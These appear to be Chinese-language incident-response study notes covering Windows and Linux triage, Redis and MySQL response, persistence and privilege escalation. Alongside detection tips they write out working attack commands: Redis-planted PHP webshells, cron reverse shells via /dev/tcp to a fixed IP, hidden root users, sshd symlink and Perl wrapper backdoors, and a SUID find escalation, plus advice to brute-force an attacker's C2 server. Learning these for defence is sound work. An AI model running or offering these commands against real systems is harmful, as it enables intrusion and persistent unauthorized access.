windows
1、系统账户排查
net user列出所有用户,进行可疑账号排查。 win + r 输入 lusrmgr.msc。
**2、检查异常端口 **
netstat -ano
3、检查可疑进程和服务
tasklist
4、可疑启动项排查
msconfig
5、查看登录日志
eventvwr.msc
6、恶意样本排查
linux
1、查看用户信息
查看用户的账号文件信息 cat/etc/passwd
用于储存在linux系统中用户的密码信息 cat/etc/shadow
2、查看历史命令
history
3、检查异常端口的进程,杀死进程
检查异常端口 netstat -tunlp
检查异常进程 ps aux
杀死进程 kill -9 PID号
4、检查linux的启动项和系统的定时任务
crontab -l crontab查看是否有异常的任务编写进来
5、检查linux的日志信息
/var/log目录下的一些系统日志信息、安全日志信息等。
6、/etc/rc.d/rc.local
这个文件是配置开机脚本的
1)首先判断服务器资产、影响范围以及严重程度,确认有没有必要将服务器下线隔离,然后根据服务器的失陷时间和态势感知的告警,判断是由什么漏洞进来的
2)其次就是取证排查阶段,如果是web漏洞,就是查看web日志,根据失陷时间节点往上排查是否上传webshell;
再查看后门是否有恶意的命令执行、文件上传。如果有恶意的文件比如说.exe,可以放到一些微步社区平台分析;
如果是webshell的话,可以用d盾、河马进行查杀。
apache的web访问日志通常位于**/var/log/httpd/access_log**
nginx的web访问日志通常位于nginx主目录下**/logs/access.log**。也可通过查看web服务器的配置文件获得web访问日志文件的实际路径。3)接下来可以通过其他主机查看是否有相同的攻击迹象,然后排查是否有可疑的进程、端口、自启动项,可以用火绒剑查看有没有异常外联
4)然后就是进行攻击路径的还原,可以通过对日志、流量进行分析、确定他的攻击路径,然后判断出他的漏洞点并切断他的攻击路径
5)此时可以再观察一段时间,看有没有流量反连、有没有内存马
6)后面可以根据样本分析到的ip地址进行信息收集,进行常规的溯源,查看是否有个人id泄漏、社交平台搜索其个人信息、利用蜜罐系统反制等手段绘制攻击者画像
7)若无则尝试是否能够打进其服务器,比如说常见的cs反制,可以爆破攻击者cs服务器密码,或者利用cs漏洞拿到攻击者服务器权限,进一步获取攻击者信息
日志分析,根据设备报警时间进行查看相应时间点的访问日志,查看可疑IP,UA头等信息
下图这是一个.NET内存码检测工具,只能检测ASP.NET
Redis应急
定时任务命令:
crontab -l
redis的攻击手法中也有利用ssh-keygen 公钥登录服务器的方式
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器,
在攻击机中申生成ssh公钥和私钥,密码设为空。也就是说会向靶机上写入ssh密钥,我们查看一下靶机的/root/.ssh,确实有一个被写入的公钥authorized_keys。
cd /usr/bin 这里存放linux 命令。
redis攻击方式
Redis未授权漏洞复现及利用(window,linux)_windows下redis未授权访问漏洞修复-CSDN博客
(1)未授权访问
redis-cli连上,写webshell。
config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存
(2)利用redis漏洞ssh密钥连接
ssh密钥连接
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
(3)利用crontab反弹shell
首先大家要知道crontab是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。
上传反弹shell命令
需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下:
redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
MySQL应急
应急响应之MySQL日志分析 - FreeBuf网络安全行业门户
权限维持
一句话添加用户和密码
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、软连接
在目标服务器上执行一句话后门:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
执行完之后,任何一台机器ssh root@IP -p 8888
,输入任意密码,成功登录。
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
SSH wrapper
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端:
socat STDIO TCP4:target_ip:22,sourceport=13377
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
排查技巧:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。
crontab反弹shell
crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
a、创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
chmod +sx /etc/evil.sh
b、crontab -e 设置定时任务
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh
重启crond服务,service crond restart
,然后就可以用nc接收shell。
排查技巧:
# 查看可疑的定时任务列表
crontab -e
openssh后门
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。
黑客提权应急
查找隐藏文件使用find命令
find / -name ".*"
用于查找系统上所有设置了 SUID 位的文件的命令:
find / -perm -u=s -type f 2>/dev/null
find /
: 从根目录开始查找。-perm -u=s
: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。-type f
: 只查找文件(不包括目录)。2>/dev/null
: 将标准错误输出重定向到/dev/null
,以避免显示权限不足等错误信息。
利用find命令提权
当 find
命令设置了 SUID 位,并且该命令存在已知漏洞或不当配置,攻击者可以利用它来执行任意命令,从而提升权限。以下是一个利用 SUID find
进行提权的示例:
/usr/bin/find . -exec /bin/sh \; -quit
find 将在当前目录(
.)搜索,并使用
-exec选项执行
/bin/sh(一个新的 shell)。因为
find` 具有 SUID 位,这个 shell 将以 root 权限运行。
liunx下/opt目录是存放安装第三方软件和应用程序,通常将 /opt
目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的,也不是通过系统包管理器(如apt、yum等)安装的。